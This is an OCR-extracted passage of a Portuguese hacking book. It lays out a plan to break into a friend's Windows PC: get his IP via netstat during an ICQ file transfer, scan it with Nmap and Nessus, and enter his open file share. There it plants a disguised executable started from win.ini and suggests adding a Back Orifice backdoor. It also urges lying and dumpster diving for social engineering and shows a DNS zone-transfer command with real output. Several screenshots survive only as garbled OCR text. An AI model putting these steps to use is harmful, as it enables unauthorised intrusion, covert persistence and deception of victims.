rodar um scanner qualquer, como o Nmap. Mas no temos o IP dele, ento
necessrio arranjar um artificio para descobri-lo.
Voc tem de encontrar uma forma de fazer com que o Flash dispare depois
de um tempo ou responda a um evento. As trs opes mais simples, sem pre-
cisar interagir a fundo com o prprio sistema operacional, so:
12181
Ataque, defesa e contra-ataque: Introduo
~ Um trojan, para voc controlar a bomba remotamente;
~ O Flash ser "fundido" a um programa do sistema (como a calculadora ou o
bloco de notas) para que, quando este for aberto, aquele entre em operao;
~ O prprio Flash ser rodado na inicializao e possuir um timeout de pelo
menos uma hora para entrar em ao;
~ Uma combinao de todos eles.
Nesses casos, quanto menor melhor, mas precisamos
saber como a conexo do nosso amigo para determi-
nar o tamanho da animao. Se avtima tiver um modem
de 33,6 K, certamente perceber se estivermos fazen-
do um upload de uma animao Flash de 2 Mbytes...
Perguntando, voc descobre que ele assinante de um
grande provedor nacional de acesso rpido - olha ,
uma informao que pode ser til mais tarde...
Seu amigo esperto, engenheiro eletrnico e
um usurio avanado de informtica. Mesmo assim,
no entende dos detalhes internos de software (o
negcio dele hardware) e sempre pede ajuda a voc
para "calibrar" o Windows dele, quando "d pau".
(quem sabe no por isso que voc, inconsciente-
mente, est fazendo essa sacanagem?)
De jeito nenhum! Nego at a morte!
Humm... se voc colocou todas essas perguntas, res-
postas e ponderaes sobre as respostas em uma fo-
lha de papel, aps algum tempo lendo e relendo o
resultado, chegamos ao diagrama ao lado. Observe a
dvida que surgiu no ltimo quadro: como invadir?
No sabemos quais as vulnerabilidades existentes,
pois na etapa "Busca por brechas" no tnhamos o IP
da vtima para procur-la.
H diversas maneiras de obter o IP de algum. Uma
delas perguntando. A maioria das pessoas no vai
desconfiar que para algo "malvado". Mas no o
caso do seu amigo.
Voc costuma conversar por ICQ com ele. H al-
guns anos, o prprio cliente de ICQ diria o IP da
outra pessoa. Hoje h a possibilidade de camuflar
essa informao. Dependendo da verso, entretanto,
e das opes escolhidas na configurao, mesmo os
mais modernos podem revelar tal informao. Isso
porque o ICQ de ambos os lados da conversa pode
se conectar tanto diretamente quanto atravs de um
servidor central.
Passos 2 e 3:
Observaco e b
Passo 4: Invaso
Escolha do programa-bomba
Passo 4: Invaso
Mtodo de invaso
???????????
Universidade 30 Ano
12191
I Ataque, defesa e contra-ataque: Introduo
----
Determinao
do
ambiente
- Engenharia social para
determinar SO e MUA
- Resultado: WinMEe The Bat
Busca
por
brechas
- Scan para obter falhas e
determinar quais usar
- Scanners escolhidos: Nmape
Nessus
Programa
Chato
- Animao em Flash executvel
no Windows
- Tema: Ponte Preta Ox 1 XVde
Piracicaba
Camuflagem
e Controle
- Flash comtempo de espera
- Instalado no WIN. INI para ser
escondido o bastante, mesmo
assim facilmente removvel
I Universidade H4CK3R I
Vamos fazer uma tentativa. Espere
ele entrar on-line e inicie uma con-
versao. Desligue tudo o que acessar
Internet em seu computador:
e-mail, navegadores, eMule, KaZaA,
MSN Messenger, deixando apenas o
ICQ.Troque algumas mensagens com
ele e pea que ele lhe envie algum ar-
quivo razoavelmente grande (MP3,
imagem, programa, qualquer coisa).
Antes de aceitar a transferncia, abra
uma janela do MS-DOS.
Durante a transferncia, use o comando netstat -na
na janela do MS-DOS,da mesma maneira como voc
fez nos captulos de Redes 11e Vulnerabilidades 11.Na
lista de conexes que vai aparecer, as ltimas delas
so os IPs da sua conversao e da troca de arquivos.
O IP remoto mostrado o dele.
Essa dica funciona com qualquer transferncia de
dados on-line entre os dois computadores. E-mail no
on-line: quem transfere o servidor SMTP,no a pes-
soa que o enviou. No caso do MSNMessenger, do AOi
Instant Messenger e do Yahoo! Messenger, as mensa-
gens so sempre intermediadas pelos respectivos ser-
vidores, portanto, o netstat vai mostrar o IP do servi-
dor Passport.NET, por exemplo... Com uma exceo:
a transferncia de arquivos ainda peer-to-peer. Se o
seu amigo usar MSNe no ICQ, pea para ele enviar
um arquivo grande. O IP dele certamente aparecer
na lista do netstat com este artifcio.
Agora que temos o IP da vtima, vamos escane-Ia. Usando o Nmap, descobri-
mos que, por descuido, nosso amigo engenheiro deixou os compartilhamentos
de disco ligados e sem senhas. Nada mais simples do que abrir um Internet
Explorer e digitar \\IP.DA.VITIMA.AQUI. Pronto! Voc j est na mquna dele,
pode abrir e editar arquivos.
Com essas alteraes, nosso diagrama j est funcional. Vamos elaborar, agora,
uma lista seqencial de etapas para nosso ataque? Afmal,no podemos fazer tudo
ao mesmo tempo, ento temos que organizar as coisas. Na prxima pgina est
uma lista de passos. interessante de se deixe um espao abaixo de cada item,
para que se possa escrever os resultados, observaes ou problemas encontrados.
Os comentrios entre parnteses no fazem parte do roteiro. So apenas
orientaes para que a elaborao do roteiro cumpra o objetivo pretendido.
Passos 2 e 3:
Observao e busca
Passo 4: Invaso
Escolha do programa-bomba
Programa Chato
- AnimaoemFlash
executvel no Windows
- Tema: Ponte Preta Ox 1
'.01de Piracicaba
Camuflagem e Controle
- Flash comtempo de espera
- Instalado no WIN. INI para ser
escondido o bastante, mesmo
assim facilmente removvel
Internet Explorer
- \\IP.VTIMA
- Copiar bomba para
C: \ Windows
- Edi tar WIN. INI
-Esperar
1220 I
Ataque, defesae contra-ataque: IntroduoI
Determinao
do IP Detenninaodo ambiente
- ICQou MSNMesseger
- Engenharia social para
- Transferncia de arquivos
determinar SOe MUA
- Netstat -na
- Resultado: WinME e The Bat
I
I
-.
Busca
por
brechas
- Scanpara obter falhas e determinar
quais usar
- Scanners escolhidos: Nmape Nessus
- Resultado: C",=tilhamento de
Arquivosabertos (TCP139)
Universidade 3Ano
PASSOSPARAHACKEARFULANODETAL
1. Engenharia Social: conversa informal para saber detalhes de sistema
operacional.
2. Busca: Determinao do IP com ICQ e netstat. Se o passo 1 for for feito por
ICQ tambm, matamos dois coelhos. (Queimar etapas desejvel DESDEQUE
no interfira na sua segurana.)
3. Escanear a vtima com Nmap e depois Nessus para verificar as
vulnerabilidades. (A lista pararia aqui at que descobrssemos por onde atacar.
um exemplo de 1-2-1-3-1.)
4. Descoberta a brecha de compartilhamento. Preparar arquivo com bomba para
ser implantado na vtima. Flash com bomba de espera. Usar r.otinas tal e tal. (Use
sempre ferramentas e linguagens que voc conhece BEM!Deslizes so fatais...)
5. Teste seu arquivo localmente. Renomeie-o para winvxd.exe.
(Sempre instale um sistema operacional idntico ao da vtima. Instale progra-
mas parecidos aos dela e tente deixar sua mquina muito prxima ao que voc
conseguiu descobrir das configuraes do computador invadido. Quando algu-
ma etapa ordenar a cpia de arquivos para a vtima, renomeie-os com nomes
parecidos com os do sistema).
6. [OPCIONAL]Teste os passos de nmero 7 em diante em um ambiente
controlado. Depois de certificar-se da validade deste roteiro, ataque a vtima.
(Opcional quase obrigatrio. Faa um ataque similar a um computador seme-
lhante que esteja disponvel e em que voc possa verificar a validade do ataque.
Um amigo hacker poderia ajud-Io nessa hora. Colaborao importantssimo
nesse meio.)
7. Conectar ao computador. Use o Internet Explorer com a URL
\ \XXX. YYY.ZZZ. UUU.
(Acostume-se a colocar informaes especficas em seus roteiros, como pro-
gramas a usar, opes e configuraes desses programas, endereos e portas a
atacar e protocolos utilizados. No apenas passos genricos. Um ataque tem
de ser rpido para ser efetivo e indetectado. Ficar procurando as opes es-
condidas de um programa durante a invaso pedir para ser apanhado!)
8. Copie o arquivo winvxd.exe para C:\windows.
(Cuidado com arquivos muito grandes. Lentido na Internet seguida de ativi-
dade no disco rgido so eventos suspeitssimos!)
12211
I Ataque, defesa e contra-ataque: Introduo
IUniversidade H4CK3RI
9. Abra o arquivo C:\windows\win.ini e, na, linha "run=", digite
c:\ windows\ winvxd.exe.
10. Espere e ria muito!
claro que nosso ataque foi sem importncia, a vtima fcil e o programa-
bomba no muito elaborado e facilmente detectvel. Mas, ora veja, funciona!
Nosso roteiro tambm bem simples, embora um ataque por meio dele j
seja possvel. Mas por que no algum nvel de refmamento? Algumas idias:
~Preparar um Back Orifice (de preferncia o B02K) e instal-Io junto com o
Flash no win.ini. Mesmo que tudo seja descoberto (o win.ini restaurado e o
Flash apagado), nosso backdoor vai estar no registro do Windows e, portanto,
sempre ativo quando a vtima ligar o computador.
~Por falar em registro, us-Io em vez do win.ini. Tal procedimento precisar
de passos a mais, a criao de um arquivo com extenso .reg para atualizao
do registro da vtima e provavelmente um conhecimento mais profundo sobre
o funcionamento do mesmo (consultar captulo sobre Plataformas Windows).
~Lugares bvios so os ltimos a serem procurados. Certa vez, algum
havia feito uma brincadeira comigo. Meu MS-DOS 5 congelava no final do
carregamento do Config.sys. Isso j era uma dica, mas eu ignorei. Decidido a
procurar o problema em vez de reinstalar o sistema todo (j havia muitos
programas, alguns dos quais precisavam ser instalados pelo pessoal do CPD),
dei boot por disquete e abri o Config sys, comentando todas as linhas, uma a
uma, para verificar se travavam. Nada feito. Vasculhei infrutiferamente todo
o sistema procura de problemas. Depois de duas horas, decidi abrir o
AUTOEXEC.BATs por desencargo de conscincia. Quase ca pra trs. No
incio do arquivo, duas linhas:
@ECHO OFF
C:\AUTOEXEC.BAT
No preciso dizer mais nada...
2221
Ataque, defesa e contra-ataque: Introduo [
Universidade 3 Ano
Uma palavra final sobre planejamento
Se voc chegou at aqui e exclamou: "Puxa, mas ele no ensinou nada difcil!
Que porcaria de livro!", sinto muito, mas este livro realmente no pra voc. O
objetivo do captulo foi mostrar, sob o pretexto de uma invaso simples, como
organizar-se para tal.
Nos prximos captulos veremos os passos seguintes de nossos ataques: obser-
vao, busca, invaso, manuteno e evaso. Algumas tcnicas adicionais e locais
onde encontrar mais informaes a respeito sero includos. Mas com o que
temos at agora (e com um pouco de disposio para pesquisa), j possvel
atacar, defender e mesmo contra-atacar quaisquer pessoas ou instituies.
Os autores voltam a informar: a responsabilidade do uso destas informaes
sua, no nossa. Handle with care.
12231
I Ataque, defesa e contra-ataque: Introduo
Ataque, defesa e
contra-ataque:
Observaco
.
Captulo 11
'You have to be tru5ted
by the peop!e you !ied to
50 when they tum their back5 on you
you have the chance to put the knife in "1
Roger Waters, "Oogs"
1 "Deves ter a confiana / das pessoas para quem mentiste / pois
quando te virarem as costas / ters a chance de enfiar a faca."
Do lbum AnimaIs (Pink FIoyd), de 1977.
IUniversidade H4CK3R I
A diferena entre os script kiddies e os black hats mais espertos comea nesta
fase (na verdade, comea na anterior, mas muitos black hats reconhecidamente
bons tambm negligenciam a fase de preparao...). Assim como quadrilhas ob-
servam bancos por meses e seqestradores acampam em frente casa de suas
vtimas, atacantes digitais dignos desse nome tm de observar suas presas
longamente antes de mergulhar sobre elas como falces sobre frangos-de-leite.
Este captulo tratar rapidamente de algumas reas nas quais o candidato a
invasor poder procurar para angariar informaes sobre as empresas, pesso-
as e, principalmente, seus sistemas computacionais e de conectividade.
Resumindo: quer brincar na rua? Antes faa o dever de casa!
Engenharia Social
No captulo 6, tivemos um primeiro contato com a arte de mentir. Como a
mentira, a impostura e a desonestidade so to antigas quanto os primeiros
macacos falantes que vagavam por a, no h meios descrever todos os proce-
dimentos possveis.
No vamos, aqui, chover no molhado e repetir o que dissemos no captulo 6.
Use a maldade que 100%das pessoas tm escondida por a em algum canto e
desenvolva seus prprios mtodos. O que funcionou para Mitnick pode no
funcionar para voc.
Dicas? A vo algumas:
~ Faa aulas de teatro. Dica bvia.
~ Impostao de voz, segurana e fIrmeza so importantes. Faa aulas de canto.
~ Procure livros sobre programao neurolingstica.Vai quebrar um galho.
~ Acostume-se a olhar SEMPRE o lixo, mesmo em casa! Seja um black hat de
hbitos.. .
~ Minta para seu chefe, para sua me, para o padre em confIsso. Treine a
mentira. Ela sua ferramenta mais poderosa. Nem todos os scanners do mundo
podem descobrir as coisas que simples perguntas feitas com a entonao cor-
reta conseguem em cinco minutos.
No basta saber o que est fazendo. necessrio saber por que est fazendo. Se
voc tem uma resposta na ponta da lngua quando perguntado" ei, por que voc
quer invadir minha empresa?", pode seguir em frente. Mas no se esquea de
que, uma vez dentro, voc ser rastreado. Se voc j sabe o que quer fazer quando
estiver entre os muros do castelo, timo. Se no sabe, no tente! E no esquea
que, dependendo de seus intentos, voc estar incorrendo em algum crime.
12261
Ataque, defesa e contra-ataque: Observao
Universidade 3 Ano
A grande teia
Posso contar nos dedos a quantidade de coisas que no achei pela Internet.
Certa vez, estava ajudando minha namorada francfona a procurar algumas
letras de "chansons" para inserir em uma compilao que ela estava fazendo.
Uma das msicas, "aira" (que possui diversas verses com diferentes letras),
estava sendo duro de encontrar. Segue o dilogo:
- No consigo achar esta aqui.
-Qual ?
- "aira", vrias gravaes, entre elas a de Edith Piaf.
-J tentou no All The Web?
-J, tambm no Google e no Alta Vista.
-Como vc tentou?
-Procurei pelo nome, s. Depois tentei nome da msica mais Edith Piaf.
-Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da
msica, o nome do artista mais a palavra lyrics. Como letra em francs?
-Parole.
- Tenta a: a ira piaf parole
Ela tentou e, para sua completa estupefao, encontrou vrios sites com as
letras, inclusive alguns contendo referncias cruzadas, as vrias verses
agrupadas e aspectos histricos e sociais ligados a elas.
A Internet, no geral, e a World Wide Web em especial, so prdigas em infor-
maes sobre sua pessoa, seja ela fsica, ou seja jurdica. Muitas delas foram
colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc
os tiver, tambm so grandes fontes de informao. Vejamos.
o Google seu amigo
impressionante como os robs desses mecanismos trabalham direito! Quem
no sabe como o Alta Vista tem catalogado todos aqueles links merece uma
explicao rpida.
H dois tipos de mecanismos de busca: os catlogos (a traduo certa para
directory, apesar de muitos traduzirem como diretrio...) e os baseados em ro-
bs. Catlogos so simples listas de sites que os prprios interessados inscre-
vem. Por exemplo, o Yahoo! hospeda sites em seu brao corporativo Geocities.
Esses sites automaticamente entram no catlogo do Geocities, que adicionalmen-
te aceita inscries em seu catlogo de sites externos. Quando inscrito, um pro-
grama-rob varre todo o site da pessoa e cadastra as palavras-chave do texto.
Um site baseado em robs usa um programa parecido com o dos catlogos. A
diferena que ningum precisa cadastrar nada: os robs farejam um link e
saem seguindo esses links Internet adentro. Como as pginas normalmente
chamam outras pginas, um trabalho sem fim.
12271
IAtaque, defesa e contra-ataque: Observao
IUniversidade H4CK3RI
Isso posto, fcil imaginar que
os robs um dia chegaro ao SEU
website. Talvez voc ou sua em-
presa no tenha um website, mas
seguramente usa e-mails e assi-
na listas de discusso. Ou acessa
a Usenet. Ou ainda se inscreve em
outros sites pblicos, como o
Hotmail, e deixa seu perfil vis-
vel ao mundo. Sa ttulo de exem-
plo: eu (Henrique) no possuo
um website prprio. Mas sou bas-
tante ruidoso na Internet; assino
dezenas de listas e tenho alguns
artigos publicados em revistas e
jornais. Uma pesquisa pelo meu
nome resulta em:
,.
--.-
--,,~-
-~
, ,
"
._,----
:"~::iI~,-~*~--
-'-""",'.n,.,'"
A
A- -- _~I,,"Id.m... -- i
GOCtO
.
'
.
te'"jl<enrique Cesar Ulbrich I -GoogIo] I;
"""0 GJ_-",w",Q ,,~- ,
-,::r::l.~.l~ 'I ,~--,, ,~-~""'_.,.,_.-
Geoa."'",com. "''''''''''\>oU'''',20000,{'mo,,'"",. ~~"
.,H_C_U_1J3I25aOOO "".,... ,"H-
C_U""",",03I24>2000 1127,01-
-g"""""""'_,,"'_3i,maOOOf3iOl. "".Em~d'" P.""_~I"
G"""""","_. deblan~<>Ortua""",' materia"""" """'. 00-.
_lh~d,~__,"""""''''oL. """M ""."",,,. "'OM, H_e-
u"""'" DATE,"'~'1200' 00,11', SUBJEC7 RE m."'.'- """""' RdoL. .,.
''',9'OC',_oomm._''''''31200'"I1)I_84,I. ,,,. _. """,s,m"'-
{um ,_."" do~w oo","mW""" {
Iisl5.""""".oroJcjoormailismt>dlenJsmJ03-Fe""""" {)d.[ ,..,,'"' ,,," ""riM{
From--"_"."",,"'Moo''''314,''',112003 From, -- "d___'"
{"_C_U-I DatoMoc'''' 3 "",,,.2003_-
"'.'m=""--'h!ili!!!
ISOLUTION{ S10w crnooection wi1h smbdJentlWiI,dows 10 "'..me , . [T..",,", UM "'...w ]
,"o m""'" ,].8",,'1, m ,.,"''''' " C-
U""","--"_"",,,."'Moo'" 314,""11 OMT2003,...
_~m",,,,,,,""'~'__I.200>-f,,,~,,'OOO3".hlm'.".~.", ,,,
[Mo' ,u""oo '" "".~m".= j
R" H"''',<3oo"",
,,_''''''00 "_C_U_--,,",
w_.R~,,_"" "'wby D.,., Enomtro do0- '"
,"'_.""",'dabi~'_'-JI<,"~"OO'ldoorn,,."w.._200101Irn.,oooo2.htm'. "" Em~'h<" ~
- ~.
Experimente procurar pelo seu nome, e
pelo nome de sua empresa para ver o que
voc disse e o que dizem de voc. Procure
tambm pelos nomes de seus empregados, for-
necedores, clientes.Voc ver que possvel
angariar diversas informaes dessa forma.
Todos os mecanismos de busca possuem
refmamentos na procura. possvel procu-
rar por formato de arquivo, data, ocorrn-
cia, partes de URLsou mesmo pginas que
apontam para uma URLem especial.
Por exemplo, usamos o Google para
procurar sites que apontam para a
Conectiva (www.conectiva.com.br).
- '-~--,-
---~.._,-
Ga
og
'" le",~=",~=:I
"-'_",-0_-_""--
-_o - , , ,,~.." ,,-..---
C_""""M"'''''''''''
","" ,""""',"""..
--'O~'-,_'_'_"
'~"-~~-.'_""Hm._'-
C","""do"'Cd"'M,,,,i.~'
0_"'''''''0_00''_'__'''''--'
--~-'~_W_~~-"~"--"
._-~",.",""""","."",,"~-~,..
"''''"",,''''''_'M~._''.~''''-"'
~~~cc1~::':":~~.~,,-
"'WM'''''''''~
2281
Ataque, defesa e contra-ataque: Observao
O resultado seria este:
Observe o comando na rea de busca
do Google. O"1ink:"funciona muito bem
no Alta VtSta(www:altavista.com) e no
AllThe Web (www:a1ltheweb.com),que
tambm possuem diversas opes de
busca avanada.
Universidade 3 Ano
At tu, Brutus?
Mas o perigo pode estar em casa! Voc j olhou seu site pessoal ou o de sua
empresa? Em uma garimpagem bem-feita (ajudado, pasme, pelo mecanismo de
busca que o pessoal da Web colocou para auxiliar o internauta!!!), o atacante
pode possivelmente angariar algumas dessas valiosas informaes:
~ Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se o
pessoal da rea no colocou uma lista completa com as tecnologias em uso.
possvel que, at por questes contratuais, sua empresa seja obrigada a colocar
um selo Powered By no site. Mesmo no sendo, a maioria dos sites possui.
Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas
que ajudam a implementar e ficam tentados a colocar informaes
comp1etssimasnos sites. Hackers adoram isso! .
~ Relacionamentos: muitas empresas divulgam (intencionalmente ou no)
informaes sobre seus parceiros, fornecedores, clientes e consultores. Muitos
at colocam dados sobre a concorrncia! Algum pode estar usando as infor-
maes do SEUsite para atacar a empresa para a qual voc trabalha. Mesmo
funcionrios costumam colocar informaes restritas em seus sites pessoais.
~ Informaes corporativas: cultura, linguagem, funcionrios importantes,
premiaes, operrio-padro, f11iais,nomes, nmeros, ramais e e-mails de funci-
onrios... Esse o tipo de informao possvel de obter apenas pesquisando o
site da empresa. Alm de facilitar ataques remotos, possvel personificar o
"funcionrio-padro" da empresa para penetrar em suas instalaes tsicas. Uma
vez dentro, o de sempre: engenharia social, sniffers, backdoors, roubo de docu-
mentos e mdias...
~ Notcias: cuidado com os comunicados de imprensa e notas publicadas
como notcia em seu site. Informaes importantes podem vazar nas entreli-
nhas. Quem, como os hackers, est habituado a enfurnar-se em depsitos de
lixo e caambas de detritos para angariar fragmentos de informao (sujos de
Ketchup e papel higinico usado) no ter nenhuma dificuldade em pegar da-
dos prontinhos organizados na rea de notcias do seu site e cruz-Ios entre si.
Quem esse cara?
Quem tem um domnio, teve de registr-Io em algum lugar. No Brasil, quem
cuida dos registros de domnios a FAPESP(registro.br). Quando se faz o re-
gistro, as informaes so guardadas num banco de dados chamado whois (em
portugus, "quem "). Cada domnio-raiz tem seu prprio banco de dados de
whois. Por exemplo, os domnios .com, .mil e .edu (todos norte-americanos)
tm seus prprios bancos de dados whois.
Verificar o banco de dados whois muito fcil. V ao Registro.br e digite o
domnio no campo correspondente.
12291
Ataque, defesa e contra-ataque: Observao
I Universidade H4CK3R I
Clique no boto PESQUlSAR.A
janela Whois vai mostrar os da-
dos de registro formatados nes-
se padro. Em nosso exemplo (o
whois de digeratLcom.br), temos:
Bem-vindoao Regisuo.br
Reg;..rod. do";."'. p'" ".tem.'.o B,as'
~~;'~l;';;I,~I~...J~..Jc!!~l 1
I PES<IU'5AR I
v."""",."".,.,a","""
,-,.,.,,,-.
I "",",,,,,I
N_. -
""""'''I>w~''''''' """'-"';'''';0"~=,.-.,,.
,,"'."" R"''''. 00- ,. ""... -"" "~1I2OO3. C"" ""'''''
~''',"-,""",,''.
""a,","~"~~""'_d.. ",""<'<ONS. '-" 00l12000l
C"""'."',, w""'_~"M
"""'"'N~M""".",,,."..,.~_"'R,,_.,,,
W""'"'M""""M""""',. R.,.".""D.mi""" R.m"".oo ""..,.
30""'_", CNP./ICP'. Cio"""''''' ~. ,"_~"M
.R"........-
.v...
, ro..''',,,
.p,~=,."",-
.T,"""00R" '"
,,,,,,,ight","'re."
, ""' "'~" proot'dod f~ inf~oo''"1'''''
, "".. .,.,.. j>ff~'in.M""", inf_oo.-, ~
, "''''''''''''in.._""""""""""..,,,,oo.
,,, ,,,,,,, ,,.,.,...,,,,,,,,..,,,,, ,,
, onlyf~ ,,,,,., "",,,,""
, 2003-<)4-<181<),,,,21 (BRr ..",00)
~br
_n'. DI""'TI.""."
M"",,, DigmC_i,,,,,,,. T"ool",i. "da
doc_'.001.1<)7'''/OOO1-36
"."."""", ""_",",,",,i
.n""""" ... """". wbo. "'. 12AndM
.n""""" 014".{)Q1- '''' P",J.-"
,.1"'_, (D11) 3217-2600 [)
""',,...,.,"""
"...i. """
""mi", U\Nl3
"",,"',. """
_ioo,D''', 1151.""""'.""."
S na base de dados Whois temos a ra-
zo social da empresa, o nome completo
dos responsveis por ela, endereos, tele-
fones, e-mails...J uma excelente fonte de
dados grtis. Mas atente para este detalhe:
Noooossaaaa!!! J sabemos quais so os dois ser-
vidores de DNS que esse domnio usa. Apenas com
os dados que garimpamos na Web, j somos capa-
zes de fazer diversas malvadezas com o domnio.
servidorDNS:NS1.LQCAWEB.Co.!.BR
status DNS: 06/04/2003AA
ltimo AA: 06/04/2003
servidor DNS: NS2.LQCAWEB.Co.!.BR
status DNS: 06/04/2003 AA
ltimo AA: 06/04/2003
criado: 16/01/1998 #82624
alterado: llj03/2003
status: publicado
Signyour name acrossmy heart
Todas essas informaes que vimos at aqui neste captulo foram obtidas exclusiva-
mente usando seu navegador Web. Nenhuma ferramenta especial foi necessria, e
voc no incorreu em nenhum crime, pois pesquisou em reas e bancos de dados
pblicos. Mesmo assim, arrecadou informaes perigosssimas que podem colocar
em risco, se bem (mal?) usadas, toda uma corporao. Mas nem s aWeb nos d o servio.
Agora que sabemos os endereos de todos os DNSs do domnio que quere-
mos atacar, vamos dar uma olhada neles. No vamos discutir os fundamentos
tcnicos sobre DNS. Se o leitor no souber como funciona um sistema de
Domain Name Server, sugerimos o excelente livro DNS e BIND, de Paul Albitz e
Cricket Liu (Editora O'Reilly).
Assim como nos servidores de whois, o DNS possui informaes que, obriga-
toriamente, devem estar abertas e disponveis ao grande pblico. Comunica-
o por e-mail, sites Web e servidores de FTP so trs exemplos de servios
que, mesmo vivendo sem o DNS, dependem dele para dar aos usurios uma
forma mais fcil de guardar endereos na Internet.
1230 I
Ataque, defesa e contra-ataque: Observao r
Universidade 3 Ano
H ferramentas de linha de comando, tanto no Windows como no Unix, que
podem recuperar informaes valiosas sobre DNS para os hackers. Adicional-
mente, o Nessus um exemplo de scanner de vulnerabilidade que, entre outras
coisas, recupera informaes de servidores DNS.
O grande problema da tecnologia de DNS so as transferncias de zona ou
zone transfers. Quando um provedor ou empresa pe no ar um sistema DNS,
normalmente coloca mais de um servidor (posicionado em localidades diferen-
tes) para atender aos programas que dependem dele. Um deles ser o DNS
primrio, os outros sero secundrios ou escravos. O zone transfer um proce-
dimento criado para transferir dados entre todos os DNSs daquele domnio ou
zona (zona um conjunto de vrios domnios, ou antes, de vrios subdomnios
num mesmo domnio).
O que ocorre que apenas hosts autorizados deveriam poder fazer transfern-
cias de domnios. Se meu DNS primrio 204.200.100.99 e meu secundrio
204.200.200.250, apenas o 250 poderia solicitar zone transfers do 99 e vice-
versa. Observamos, entretanto, que quase a totalidade de DNSs ao redor da Terra
permite zone transfers solicitados a partir de qualquer n da Grande Rede.
Um exemplo prtico. Emuma estao com linux, usaremos o comando digoEsse
comando pode ser encontrado tambm em alguns Unix. Abra um terminal e digite:
$ dig @NS1.locaweb.com.br digerati.com.br AXFR
Asintaxe simples. Oprimeiro argumento o nome do servidor DNS(poderia ser
tambm o nmero IP). O segundo argumento o domnio que se quer pesquisar e o
terceiro (AXFR)indica que queremos fazer um zone transfer. Asada do comando :
; DiG 9.2.1 @NS1.1ocaweb.com.br digerati.com.br AXFR
;; global options: printcmd
digerati.com.br. 3600
admin.1ocaweb.com.br. 8
digerati.com.br. O IN
digerati.com.br. O IN
digerati.com.br. O IN
digerati.com.br. O IN
digerati.com.br. O IN
ftp.digerati.com.br. O
smtp.digerati.com.br. O
pop.digerati.com.br. O
mail.digerati.com.br. O
www.digerati.com.br. O
wap.digerati.com.br. O
sqlserver.digerati.com.br. O
webmail.digerati.com.br. O
smtp-gw.digerati.com.br. O
digerati.com.br. 3600
admin.1ocaweb.com.br. 8 3600
;; Query time: 881 msec
;; SERVER: 200.246.179.123#53 (NS1.1ocaweb.com.br)
;; WHEN: Tue Apr 812:28:502003
;; XFR size: 17 records
IN
3600
NS
NS
NS
A
MX
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
600 86400
SOA hm23.
600 86400 3600
NS1.1ocaweb.com.br.
NS2.1ocaweb.com.br.
NS3.1ocaweb.com.br.
200.246.179.102
10 smtp-gw.digerati.com.br.
A 200.246.179.102
A 200.182.98.136
A 200.182.98.136
A 200.182.98.136
A 200.246.179.102
A 200.246.179.102
A 200.246.179.82
CNAME pop.digerati.com.br.
A 200.182.98.155
SOA hm23.
3600
12311
] Ataque, defesa e contra-ataque: Observao
IUniversidade H4CK3RI
Creeedooo! Um simples comandinho nos disse que o servidor de SMTP da
empresa est em 200.182.98.155, e que os servidores Web e FTP dividem a
mesma mquina em 200.246.178.102 . No estamos considerando, por enquanto,
interfaces de rede com mltiplos IPs, mas, de qualquer forma, a realidade pode
ser um pouquinho diferente da que foi mostrada na lista. Mesmo assim, um
excelente ponto de partida para fazer mais pesquisa, comear miniataques
(lembra deles? 1234 1234...) e elaborar seu plano de ao.
Outros exemplos de ferramentas para fazer zone transfers so o j citado
Nessus (com verses para Unix e Windows), o host, disponvel na maioria dos
Unix, e o veterano nslookup, presente tanto em Unix como no Windows. Note
que o nslookup para Linux no faz zone transfers!
Defesa e contra-ataque
Infelizmente, no h muito como se defender de informaes obtidas por
meio de bancos de dados whois. As informaes desse servio devem estar
disponveis universalmente, portanto no h o que fazer. Casos recentes de
defacements (como o do site da Digerati Editorial) foram possveis usando as
informaes obtidas por whois e, depois, com um pouco de engenharia social,
obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O
problema no foram as informaes de whois, mas as senhas fracas e a
vulnerabilidade social.
J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras
em seu servidor para restringir zone transfers apenas entre servidores DNS do
seu domnio, bem como dos root-DNS-servers.
Como no h nada de ilegal nas atividades do black hat at aqui, pois as
informaes obtidas so todas pblicas, no h como lanar um contra-ataque.
Mesmo porque, devido ao trfego gigantesco, rastrear acessos a servidores de
whois e DNS tarefa impossvel.
Mas, SIM! possvel tomar medidas preventivas (alm de restringir o zone
transfer - isso muito importante!) para evitar que informaes desnecessri-
as vazem para a Internet. Entre elas:
~ Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode dar,
indevidamente, informaes confidenciais ou restritas que possibilitem um ataque.
~ Crie polticas sobre o que pode ser publicado no site e veiculado por
e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha
em risco a empresa divulgando o que no deveria. E nada de colocar bandeiri-
nhas com "Powered by Windows NT4" ou "Running Linux 2.2".
12321
Ataque, defesae contra-ataque: Observao[
Universidade 3 Ano
Faa campanhas preventivas, alertando os usurios de e-mails para o perigo
de enviar dados internos da companhia para fora. Pegue aquela pesquisa que
voc fez na Web com os nomes ou e-mails de seus funcionrios e monte uma
apresentao para ilustrar suas campanhas.
12331
]Ataque. defesa e contra-ataque: Observao
Ataque, defesa e
contra-ataque:
usca
Captulo 12
PedI; e dar-se-vos-; busca;' e achareis; bate;'
e abrir-se-vos-. Porque, todo o que pede,
recebe; e, o que busca, acha. "
(Mateus,VII: 7-111
I Universidade H4CK3R I
Assim como os militares, que usam os servios de inteligncia para elaborar
relatrios sobre o alvo e s depois vo a campo para observ-Io, ns tambm
tivemos de angariar todas aquelas informaes, elaborar planos de ao e fa-
zer um roteiro de ataque. Nesta nova fase, faremos o que os militares chamam
de reconhecimento: conferir os dados obtidos, preencher eventuais lacunas,
corrigir distores e obter dados de reas antes inacessveis. Lembre-se: depois
de voltar das buscas, realimentaremos nosso roteiro com as informaes obti-
das. Nunca fuja do 1-2-1-3-1-4-1-5-1-6-1!
Cartografia aplicada Internet
Chegou a hora de descobrir como a rede de nossa vtima. O hacker usar
ferramentas de scanning, como as que vimos em Vulnerabilidades I e 11,para
testar a rede e descobrir, primeiro, como ela montada (topologias, sistemas
de firewalI e IDS, servidores e estaes - incluindo a seus sistemas operacionais)
e fazer um mapa o mais detalhado possvel do que, para ele, ainda so "mares
nunca dantes navegados".
Vamos comear com um diagrama simples:
RedePrivada
~~
192.168.3.0 192.168.4.0
200.xxx.10.20
SMTPtPOP
200.xxx.20.30
Servios Diversos
200.xxx.20.10
SQLServer
2361
